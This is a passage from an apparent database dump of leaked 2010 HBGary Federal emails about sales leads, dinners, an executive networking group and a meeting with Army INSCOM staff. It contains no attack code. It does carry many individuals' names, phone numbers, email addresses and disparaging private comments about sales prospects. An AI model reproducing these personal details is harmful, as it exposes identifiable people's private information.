at Northrop Grumman Mission Systems\r\n        Jeff has the ability to tackle nearly any task given to him, he is very creative in his approach to ...\r\n        Read more\r\n\r\n            \r\n            \r\n\r\n\r\n      Jeff McCartney was recommended by\r\ncolleague      Roger Medley\r\n        I\'ve worked with Jeff for 6 years and found him to be a crucial member of our software development t...\r\n        Read more\r\n\r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n        \r\n        APPLICATIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n                  \r\n                          Gil Vega\r\n                  \r\n                     recommends \r\n                  \r\n                          WAR\r\n                   \r\n                        \r\n  \r\n  \r\n    \r\n    \r\n      &nbsp;&nbsp;&nbsp;View all Network Updates&nbsp;&nbsp;&nbsp;\r\n    \r\n  \r\n\r\nDon\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n&copy; 2010, LinkedIn Corporation\r\n  \r\n',15576,'aaron_hbgary_com/15576.html'),(7721,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005957.M99164P14101Q2576.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Fwd: Pong challenge',':)From my iPhoneBegin forwarded message:From: &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;\r\nDate: June 23, 2010 10:19:59 PM EDTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Pong challenge\r\nYou mean July 9th?  Dude, it is going to be ugly.-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 23, 2010 8:38 PMTo: Bob SlapnikSubject: Pong challengeBob,Put it on your calendar 3 Fridays from now a ping pong challenge at\r\npalantir.Aaron From my iPhoneNo virus found in this incoming message.Checked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2955 - Release Date: 06/23/1002:36:00\r\n',12532,'aaron_hbgary_com/12532.html'),(7722,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005977.M804636P14101Q2577.eml','\"Don Bailey\" <dbailey@blackbirdtech.com>','Dinner','Don,\r\n\r\nI can\'t remember exactly where you live, its been a few years, but I seem to remember it was in Maryland.  Is that right?  There are lots of good places.  J Gilberts in Mclean is good.  I know a amazing Indian place in Bethesda, lots of other good places in Bethesda.  Reston has some good eats.  I am flexible on time as well, 7, 8?  Let me know where you are coming from and I can pick a place.\r\n\r\nAttached are HBGary Federals datasheet for general services as well as the briefing I gave at the NSA REBL conference last week on New Media.  Turns out this might be a new and lucrative business area for us.  We can talk more about it at dinner.\r\n\r\n',12057,'aaron_hbgary_com/12057.html'),(7723,'2010-06-24','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297005981.M231558P14101Q2578.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: FIRST.ORG leads','Chris Geary\r\n\r\nOn 6/23/10, Penny Leavy-Hoglund  wrote:\r\n> Who was the FBI contact that came to the booth, Maria needs to follow up\r\n>\r\n>\r\n>\r\n> From: Bob Slapnik [mailto:bob@hbgary.com]\r\n> Sent: Wednesday, June 23, 2010 6:28 PM\r\n> To: \'Maria Lucas\'\r\n> Cc: \'Penny C. Hoglund\'\r\n> Subject: RE: FIRST.ORG leads\r\n>\r\n>\r\n>\r\n> Maria,\r\n>\r\n>\r\n>\r\n> Here are more FIRST leads……..\r\n>\r\n>\r\n>\r\n> Aaron and Rich said a guy from FBI came by the booth when I wasn’t there.  I\r\n> did not get his contact info.  They both thought he was a  strong prospect.\r\n>\r\n>\r\n>\r\n> Lauri Korts-Pärn\r\n>\r\n> Chief Technical Officer\r\n>\r\n> Cyber Defense Institute, Inc.\r\n>\r\n> CTN Building, 4th Floor, 2-2-5, Kanda Suda cho,\r\n>\r\n> Chiyoda-ku, Tokyo, Japan 101-0041\r\n>\r\n> Tel:  81 3 5209 4336\r\n>\r\n> Email:  lauri@cyberdefense.jp\r\n>\r\n> He is a European guy living in Japan.  Has good English.  A young man.  Does\r\n> offensive work and software fuzzing.  Interested in REcon for software\r\n> vulnerability and exploitation analysis.  Two follow up items:  (1) Send him\r\n> REcon for Exploitation whitepaper and (2) send Responder Pro + REcon eval\r\n> instructions.\r\n>\r\n>\r\n>\r\n> Hiroki Iwai\r\n>\r\n> Chief of Computer Security Laboratory\r\n>\r\n> Risk Research Institute of Cyber Space\r\n>\r\n> Computer Security Laboratory\r\n>\r\n> Little eArth Corporation Co., Ltd.\r\n>\r\n> Hirakawacho Mori Tower\r\n>\r\n> 2-16-1, Hirakawa-cho, Chiyoda-ku\r\n>\r\n> Tokyo, 102-0093, Japan\r\n>\r\n> Tel:  81 3 6757 0120\r\n>\r\n> Mobile:  81 80 5871 8400\r\n>\r\n> iwai@lac.co.jp\r\n>\r\n> Lousy English.  Said 2 years ago that R Pro didn’t see DKOM rootkit.  Asked\r\n> for AD eval.\r\n>\r\n>\r\n>\r\n> Junichi Hatta\r\n>\r\n> Researcher\r\n>\r\n> Risk Research Institute of Cyber Space\r\n>\r\n> Computer Security Laboratory\r\n>\r\n> Same address and phone as above\r\n>\r\n> junichi.hatta@lac.co.jp\r\n>\r\n> Lousy English.  Said 2 years ago that R Pro didn’t see DKOM rootkit.  Asked\r\n> for AD eval.\r\n>\r\n>\r\n>\r\n> Chunyang Yuan\r\n>\r\n> Senior Engineer\r\n>\r\n> National Computer Network Emergency Response Technical Team\r\n>\r\n> Coordination Center of China\r\n>\r\n> Tel:  8610 8299 0311\r\n>\r\n> Mobile:  8613910771755\r\n>\r\n> Email:  ycy@cert.org.cn\r\n>\r\n> Probably not a good idea to work with this guy\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n> From: Maria Lucas [mailto:maria@hbgary.com]\r\n> Sent: Wednesday, June 23, 2010 1:47 PM\r\n> To: Bob Slapnik\r\n> Cc: Penny C. Hoglund\r\n> Subject: FIRST.ORG leads\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n> are there anymore leads from FIRST and Symantec?\r\n>\r\n>\r\n>\r\n> i have Sandia and NASA and have followed up on both\r\n>\r\n>\r\n>\r\n> THANKS\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n> email: maria@hbgary.com\r\n>\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.829 / Virus Database: 271.1.1/2955 - Release Date: 06/23/10\r\n> 02:36:00\r\n>\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',4083,'aaron_hbgary_com/4083.html'),(7724,'2010-06-24','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005981.M650240P14101Q2579.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Call penny please','Call penny please asap re Atlanta\r\n',9874,'aaron_hbgary_com/9874.html'),(7725,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005981.M996269P14101Q2580.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Call penny please','Got it.  Some confusion.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 23, 2010, at 11:04 PM, Greg Hoglund  wrote:\r\n\r\n> Call penny please asap re Atlanta\r\n',2205,'aaron_hbgary_com/2205.html'),(7726,'2010-06-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005982.M621439P14101Q2581.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Call penny please','What\'s this about?\r\n\r\n\r\n\r\nOn Jun 23, 2010, at 9:22 PM, Aaron Barr  wrote:\r\n\r\n> Got it.  Some confusion.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 23, 2010, at 11:04 PM, Greg Hoglund  wrote:\r\n>\r\n>> Call penny please asap re Atlanta\r\n',10462,'aaron_hbgary_com/10462.html'),(7727,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005983.M390285P14101Q2582.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Call penny please','Travel for an engagement\r\n\r\nSent from my iPad\r\n\r\nOn Jun 23, 2010, at 11:33 PM, Ted Vera  wrote:\r\n\r\n> What\'s this about?\r\n>\r\n>\r\n>\r\n> On Jun 23, 2010, at 9:22 PM, Aaron Barr  wrote:\r\n>\r\n>> Got it.  Some confusion.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On Jun 23, 2010, at 11:04 PM, Greg Hoglund  wrote:\r\n>>\r\n>>> Call penny please asap re Atlanta\r\n',12855,'aaron_hbgary_com/12855.html'),(7728,'2010-06-24','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297005983.M709685P14101Q2583.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Dinner','',14683,'aaron_hbgary_com/14683.html'),(7729,'2010-06-24','\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>','/aaron@hbgary.com/new/1297005984.M182835P14101Q2584.eml','\"Bill.Varner@ManTech.com\" <Bill.Varner@ManTech.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"alexander.miller@l-3com.com\" <alexander.miller@l-3com.com>,\"Barbara.G.Fast@boeing.com\" <Barbara.G.Fast@boeing.com>,\"bill.phelps@accenture.com\" <bill.phelps@accenture.com>,\"bmalexia@rockwellcollins.com\" <bmalexia@rockwellcollins.com>,\"ccpalmer@us.ibm.com\" <ccpalmer@us.ibm.com>,\"coxld@saic.com\" <coxld@saic.com>,\"david_joslin@federal.dell.com\" <david_joslin@federal.dell.com>,\"dusty.wince@knowledgecg.com\" <dusty.wince@knowledgecg.com>,\"ed.gibson@us.pwc.com\" <ed.gibson@us.pwc.com>,\"gjg@mitre.org\" <gjg@mitre.org>,\"jkoenig@harris.com\" <jkoenig@harris.com>,\"jpayne@telcordia.com\" <jpayne@telcordia.com>,\"jreagan@deloitte.com\" <jreagan@deloitte.com>,\"jwatters@isightpartners.com\" <jwatters@isightpartners.com>,\"kathy.warden@ngc.com\" <kathy.warden@ngc.com>,\"kenneth.sannicolas@stanleyassociates.com\" <kenneth.sannicolas@stanleyassociates.com>,\"lance.cottrell@abraxascorp.com\" <lance.cottrell@abraxascorp.com>,\"michael.fraser@usis.com\" <michael.fraser@usis.com>,\"nadia.short@gd-ais.com\" <nadia.short@gd-ais.com>,\"pat.burke@sra.com\" <pat.burke@sra.com>,\"rdix@juniper.net\" <rdix@juniper.net>,\"rodney.joffe@neustar.biz\" <rodney.joffe@neustar.biz>,\"roger_anderson@appsig.com\" <roger_anderson@appsig.com>,\"samuel.chun@hp.com\" <samuel.chun@hp.com>,\"scottmil@microsoft.com\" <scottmil@microsoft.com>,\"shawn.carroll@qwest.com\" <shawn.carroll@qwest.com>,\"skip.foote@americansystems.com\" <skip.foote@americansystems.com>,\"steve_k_hawkins@raytheon.com\" <steve_k_hawkins@raytheon.com>,\"svisner@csc.com\" <svisner@csc.com>,\"tiffany_jones@symantec.com\" <tiffany_jones@symantec.com>,\"Bill.Varner@ManTech.com\" <Bill.Varner@ManTech.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"alexander.miller@l-3com.com\" <alexander.miller@l-3com.com>','Re: Belated Greetings!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nBill,No apologies are needed here. We are all in a time compression mode and the day runs out well before our &quot;to do&quot; list exhausts itself. I am grateful for your offer of leadership and will endeavor to add constructively to our collective purpose and value. P.S., Hal Jones and Leigh Palmer send their best respects. Warm Regards,jloJohn OsterholzVice PresidentCyber Warfare and Cybersecurity\r\n\r\n\r\nFrom: Varner, Bill &lt;Bill.Varner@ManTech.com&gt;To: aaron@hbgary.com &lt;aaron@hbgary.com&gt;; alexander.miller@l-3com.com &lt;alexander.miller@l-3com.com&gt;; barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; coxld@saic.com &lt;coxld@saic.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; Osterholz, John (US SSA); jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; michael.fraser@usis.com &lt;michael.fraser@usis.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; zazmi@caci.com &lt;zazmi@caci.com&gt;Cc: Jim Garrettson &lt;jimg@executivebiz.com&gt;; jd@executivebiz.com &lt;jd@executivebiz.com&gt;; Jennifer Jordan - Harrell &lt;jennifer@executivebiz.com&gt;Sent: Wed Jun 23 15:34:43 2010Subject: Belated Greetings!\r\n\r\n\r\n\r\n\r\nLadies and Gentlemen,\r\n\r\n&nbsp;\r\n\r\nPlease accept my apologies for not yet sending out the correspondence\r\nI promised following our dinner last week. A few unexpected meetings, a last\r\nminute trip to the West Coast, and yes, some actual work…you know how it\r\nis.\r\n\r\n&nbsp;\r\n\r\nI was very pleased by the enthusiastic start to our group. I\r\nthought Bill Crowell did his usual great job, and our questions kept him\r\nthinking the entire evening.\r\n\r\n&nbsp;\r\n\r\nWe are going to try to get the group together, maybe for a\r\nbreakfast, before our September dinner, to discuss how we might go forward with\r\nsome of the ideas we discussed. Jennifer and I will work schedules.\r\n\r\n&nbsp;\r\n\r\nI do promise to send out the meeting notes asap…\r\n\r\n&nbsp;\r\n\r\nThanks again for your participation – our group is\r\ngoing to set all of the ExecutiveBiz records for attendance, membership, and\r\nenthusiasm!\r\n\r\n&nbsp;\r\n\r\nThanks,&nbsp; Bill \r\n\r\n&nbsp;\r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive, Suite\r\n500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12457,'aaron_hbgary_com/12457.html'),(7730,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005984.M590452P14101Q2585.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','IR','Hey Mark,\r\n\r\nGive me a call when you get a chance.  I spoke with Penny yesterday and will likely talk with Greg today, but the consensus is going back to yours and Teds original plan which is to go out to Sacramento to go over the TMC as well as help out with the QQ engagement, which is being run remotely from there.  So you get the best of both worlds.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',502,'aaron_hbgary_com/502.html'),(7731,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005984.M879950P14101Q2586.eml','\"Robert P Frisbie\" <Robert.Frisbie@ManTech.com>','USINSCOM','Hi Bob,\r\n\r\nI have a meeting on Friday with the Chief of the Red Team and Blue Team at INSCOM as a result of a briefing I did at NSA last week on New Media.  Turns out there is significant anxiety in DoD since a new directive was signed a few months ago authorizing access to social/new media on .mil.  I am going to be talking to them about Incident Response, New Media and its uses and vulnerabilities, IO.  I wasn\'t sure if you have any work in that area again yet, but thought this might be of interest.\r\n\r\nI am starting to work on a curriculum to provide training to organizations on new media familiarization, concerns, processes to improve protection, etc.  Also looking into what type of solutions we can build to help organizations.  New Media is something I know a little about. ;)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4678,'aaron_hbgary_com/4678.html'),(7732,'2010-06-24','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297005985.M628114P14101Q2587.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting (UNCLASSIFIED)','Aaron, \r\nIf you have secret information you can send it to my SIPR at stephen.w.turner@us.army.smil.mil. I talked to my boss, MAJ Verell, this morning and she informed me that both her and Mrs Brooks won\'t be able to make it tomorrow. I was hoping Mrs. Brooks would have the chance to meet you. She is the decision maker when it comes to recommending new policy and introducing new products. I have the capability to input credited aspects of your social network training into Army training, and I can discuss issues and solutions with you, but that\'s it. I can also take your information and pass it to Mrs. Brooks and MAJ Verell. If that still works for you, I\'ll see you at 10:00. Thanks again\r\n\r\nSteve\r\n\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nDate: Tuesday, June 22, 2010 6:32 pm\r\nSubject: Re: Meeting (UNCLASSIFIED)\r\nTo: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n\r\n\r\n> Ok great. If it is possible to pass clearances I can provide some\r\n> very interesting perspectives for you specifically. If not maybe\r\n> another time.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Jun 22, 2010, at 5:54 PM, \"Turner, Stephen W CPT MIL USA USINSCOM\"\r\n>  wrote:\r\n> \r\n> > Aaron,\r\n> > I think all of these topics would be of interest for the red team in\r\n> > one way or another. I\'ll need to get our computer guys to attend\r\n> > because they know much more about the malware and computer lingo. My\r\n> > section is specifically interested in creating awareness of new\r\n> > media threats and how to protect against them.\r\n> >\r\n> > V/R\r\n> >\r\n> > CPT Stephen W. Turner\r\n> > DSN 703-428-4514\r\n> >\r\n> > ----- Original Message -----\r\n> > From: Aaron Barr  > Date: Monday, June 21, 2010 9:38 pm\r\n> > Subject: Re: Meeting (UNCLASSIFIED)\r\n> > To: \"Turner, Stephen W CPT MIL USA USINSCOM\"  >\r\n> >\r\n> >\r\n> >> CPT Turner,\r\n> >>\r\n> >> Let me give you a quick list of things I can talk about and you\r\n> >> tell me which ones are of the most interest. I can tailor any\r\n> >> material, etc to your interest.\r\n> >>\r\n> >> HBGary Technology that enables enterprise advanced detection of\r\n> >> advanced zero day malware.\r\n> >> 1. DDNA - Behavior based malware detection.\r\n> >> 2. Active Defense - Enterprise advanced malware detection and\r\n> >> analysis\r\n> >> 4. Threat Management - Volume malware processor. 20K malware a day.\r\n> >>\r\n> >> Services and Thought Leadership\r\n> >> 1. CERT/SOC Operations - Technologies and Processes that enable\r\n> >> transformation of CERT/SOC operations. Knowledge management.\r\n> >> Information Sharing. New Media, Bringing Malware analysis into\r\n> >> Net Defense.\r\n> >> 2. Incident Response - New technologies and processes for more\r\n> >> efficient IR engagements with leave behind capability for\r\n> >> continuous monitoring.\r\n> >> 3. Threat Intelligence - new threats require better threat\r\n> >> intelligence to understand. Approach to threat intelligence.\r\n> >> 4. IO - A list of things better discussed in person. Novell ways\r\n> >> to implement persistent internet operations. New Media, CovCom, etc.\r\n> >>\r\n> >> I can pass my clearances if needed.\r\n> >>\r\n> >> Aaron\r\n> >>\r\n> >>\r\n> >> On Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA\r\n> >> USINSCOM wrote:\r\n> >>\r\n> >>> How about 10:00 here at metro park. I figure the traffic should\r\n> >> good by then and you can still get out of here before the Friday\r\n> >> traffic starts again. If that time doesn\'t work let me know and\r\n> >> we\'ll pick another one. The address is:\r\n> >>> 6359 Walker Lane, Alexandria, VA 22310\r\n> >>> Once you get here you can give me a call at 703-428-4514 and\r\n> >> I\'ll meet up with you. We\'ll be meeting with the Army Red Team\r\n> >> Chief, MAJ Verell, and the Vulnerability Assessment Detachment\r\n> >> Chief, Mrs. Brooks. If you want, you can shoot me a list of topics\r\n> >> that you would like to discuss. Again, thanks for taking the time\r\n> >> to speak with us.\r\n> >>>\r\n> >>> Very Respectfully,\r\n> >>>\r\n> >>> CPT Stephen W. Turner\r\n> >>> DSN 703-428-4514\r\n> >>>\r\n> >>> ----- Original Message -----\r\n> >>> From: Aaron Barr >> Date: Monday, June 21, 2010 9:36 am\r\n> >>> Subject: Re: Meeting (UNCLASSIFIED)\r\n> >>> To: \"Turner, Stephen W CPT MIL USA\" >>\r\n> >>>\r\n> >>>> Friday looks good for me. I will come to you.\r\n> >>>>\r\n> >>>> Let me know time and place and I\'ll be there.\r\n> >>>>\r\n> >>>> Aaron\r\n> >>>>\r\n> >>>> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n> >>>>\r\n> >>>>> Classification: UNCLASSIFIED\r\n> >>>>> Caveats: FOUO\r\n> >>>>>\r\n> >>>>> Mr. Barr,\r\n> >>>>> Thanks for your briefing, I really appreciate it. I have a\r\n> >>>> writing> course from Tuesday to Thursday but I\'m free on Friday of\r\n> >>>> this week.\r\n> >>>>> Next week is pretty open for me. Where are you located? I assume\r\n> >>>> up near\r\n> >>>>> Ft. Meade. Our office is in Springfield, Virginia. If we met\r\n> >>>> here it\r\n> >>>>> would be easier for us to get my boss, Mrs. Brooks, involved\r\n> >>>> concerning> Fidelis. She has been leading force in fighting to get\r\n> >>>> monitoring tools\r\n> >>>>> such as Fidelis on Army networks. If you are near Ft. Meade or\r\n> >>>>> close\r\n> >>>>> enough to metro area I could easily come to you. Let me know\r\n> >>>> what is\r\n> >>>>> convenient for you and we\'ll pick a time. Thanks\r\n> >>>>>\r\n> >>>>> CPT Steve Turner\r\n> >>>>>\r\n> >>>>> Classification: UNCLASSIFIED\r\n> >>>>> Caveats: FOUO\r\n> >>>>>\r\n> >>>>>\r\n> >>>>\r\n> >>>> Aaron Barr\r\n> >>>> CEO\r\n> >>>> HBGary Federal Inc.\r\n> >>>>\r\n> >>\r\n> >> Aaron Barr\r\n> >> CEO\r\n> >> HBGary Federal Inc.\r\n> >>\r\n',785,'aaron_hbgary_com/785.html'),(7733,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005986.M188913P14101Q2588.eml','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','Re: Meeting (UNCLASSIFIED)','Sure.  We can start the discussion and see where it goes from there.  I will see you at 10am.\r\n\r\nAaron\r\n\r\nOn Jun 24, 2010, at 9:31 AM, Turner, Stephen W CPT MIL USA USINSCOM wrote:\r\n\r\n> Aaron, \r\n> If you have secret information you can send it to my SIPR at stephen.w.turner@us.army.smil.mil. I talked to my boss, MAJ Verell, this morning and she informed me that both her and Mrs Brooks won\'t be able to make it tomorrow. I was hoping Mrs. Brooks would have the chance to meet you. She is the decision maker when it comes to recommending new policy and introducing new products. I have the capability to input credited aspects of your social network training into Army training, and I can discuss issues and solutions with you, but that\'s it. I can also take your information and pass it to Mrs. Brooks and MAJ Verell. If that still works for you, I\'ll see you at 10:00. Thanks again\r\n> \r\n> Steve\r\n> \r\n> DSN 703-428-4514\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> Date: Tuesday, June 22, 2010 6:32 pm\r\n> Subject: Re: Meeting (UNCLASSIFIED)\r\n> To: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n> \r\n> \r\n>> Ok great. If it is possible to pass clearances I can provide some\r\n>> very interesting perspectives for you specifically. If not maybe\r\n>> another time.\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Jun 22, 2010, at 5:54 PM, \"Turner, Stephen W CPT MIL USA USINSCOM\"\r\n>>  wrote:\r\n>> \r\n>>> Aaron,\r\n>>> I think all of these topics would be of interest for the red team in\r\n>>> one way or another. I\'ll need to get our computer guys to attend\r\n>>> because they know much more about the malware and computer lingo. My\r\n>>> section is specifically interested in creating awareness of new\r\n>>> media threats and how to protect against them.\r\n>>> \r\n>>> V/R\r\n>>> \r\n>>> CPT Stephen W. Turner\r\n>>> DSN 703-428-4514\r\n>>> \r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr >> Date: Monday, June 21, 2010 9:38 pm\r\n>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n>>> To: \"Turner, Stephen W CPT MIL USA USINSCOM\"  >\r\n>>> \r\n>>> \r\n>>>> CPT Turner,\r\n>>>> \r\n>>>> Let me give you a quick list of things I can talk about and you\r\n>>>> tell me which ones are of the most interest. I can tailor any\r\n>>>> material, etc to your interest.\r\n>>>> \r\n>>>> HBGary Technology that enables enterprise advanced detection of\r\n>>>> advanced zero day malware.\r\n>>>> 1. DDNA - Behavior based malware detection.\r\n>>>> 2. Active Defense - Enterprise advanced malware detection and\r\n>>>> analysis\r\n>>>> 4. Threat Management - Volume malware processor. 20K malware a day.\r\n>>>> \r\n>>>> Services and Thought Leadership\r\n>>>> 1. CERT/SOC Operations - Technologies and Processes that enable\r\n>>>> transformation of CERT/SOC operations. Knowledge management.\r\n>>>> Information Sharing. New Media, Bringing Malware analysis into\r\n>>>> Net Defense.\r\n>>>> 2. Incident Response - New technologies and processes for more\r\n>>>> efficient IR engagements with leave behind capability for\r\n>>>> continuous monitoring.\r\n>>>> 3. Threat Intelligence - new threats require better threat\r\n>>>> intelligence to understand. Approach to threat intelligence.\r\n>>>> 4. IO - A list of things better discussed in person. Novell ways\r\n>>>> to implement persistent internet operations. New Media, CovCom, etc.\r\n>>>> \r\n>>>> I can pass my clearances if needed.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA\r\n>>>> USINSCOM wrote:\r\n>>>> \r\n>>>>> How about 10:00 here at metro park. I figure the traffic should\r\n>>>> good by then and you can still get out of here before the Friday\r\n>>>> traffic starts again. If that time doesn\'t work let me know and\r\n>>>> we\'ll pick another one. The address is:\r\n>>>>> 6359 Walker Lane, Alexandria, VA 22310\r\n>>>>> Once you get here you can give me a call at 703-428-4514 and\r\n>>>> I\'ll meet up with you. We\'ll be meeting with the Army Red Team\r\n>>>> Chief, MAJ Verell, and the Vulnerability Assessment Detachment\r\n>>>> Chief, Mrs. Brooks. If you want, you can shoot me a list of topics\r\n>>>> that you would like to discuss. Again, thanks for taking the time\r\n>>>> to speak with us.\r\n>>>>> \r\n>>>>> Very Respectfully,\r\n>>>>> \r\n>>>>> CPT Stephen W. Turner\r\n>>>>> DSN 703-428-4514\r\n>>>>> \r\n>>>>> ----- Original Message -----\r\n>>>>> From: Aaron Barr >> Date: Monday, June 21, 2010 9:36 am\r\n>>>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n>>>>> To: \"Turner, Stephen W CPT MIL USA\" >>\r\n>>>>> \r\n>>>>>> Friday looks good for me. I will come to you.\r\n>>>>>> \r\n>>>>>> Let me know time and place and I\'ll be there.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n>>>>>> \r\n>>>>>>> Classification: UNCLASSIFIED\r\n>>>>>>> Caveats: FOUO\r\n>>>>>>> \r\n>>>>>>> Mr. Barr,\r\n>>>>>>> Thanks for your briefing, I really appreciate it. I have a\r\n>>>>>> writing> course from Tuesday to Thursday but I\'m free on Friday of\r\n>>>>>> this week.\r\n>>>>>>> Next week is pretty open for me. Where are you located? I assume\r\n>>>>>> up near\r\n>>>>>>> Ft. Meade. Our office is in Springfield, Virginia. If we met\r\n>>>>>> here it\r\n>>>>>>> would be easier for us to get my boss, Mrs. Brooks, involved\r\n>>>>>> concerning> Fidelis. She has been leading force in fighting to get\r\n>>>>>> monitoring tools\r\n>>>>>>> such as Fidelis on Army networks. If you are near Ft. Meade or\r\n>>>>>>> close\r\n>>>>>>> enough to metro area I could easily come to you. Let me know\r\n>>>>>> what is\r\n>>>>>>> convenient for you and we\'ll pick a time. Thanks\r\n>>>>>>> \r\n>>>>>>> CPT Steve Turner\r\n>>>>>>> \r\n>>>>>>> Classification: 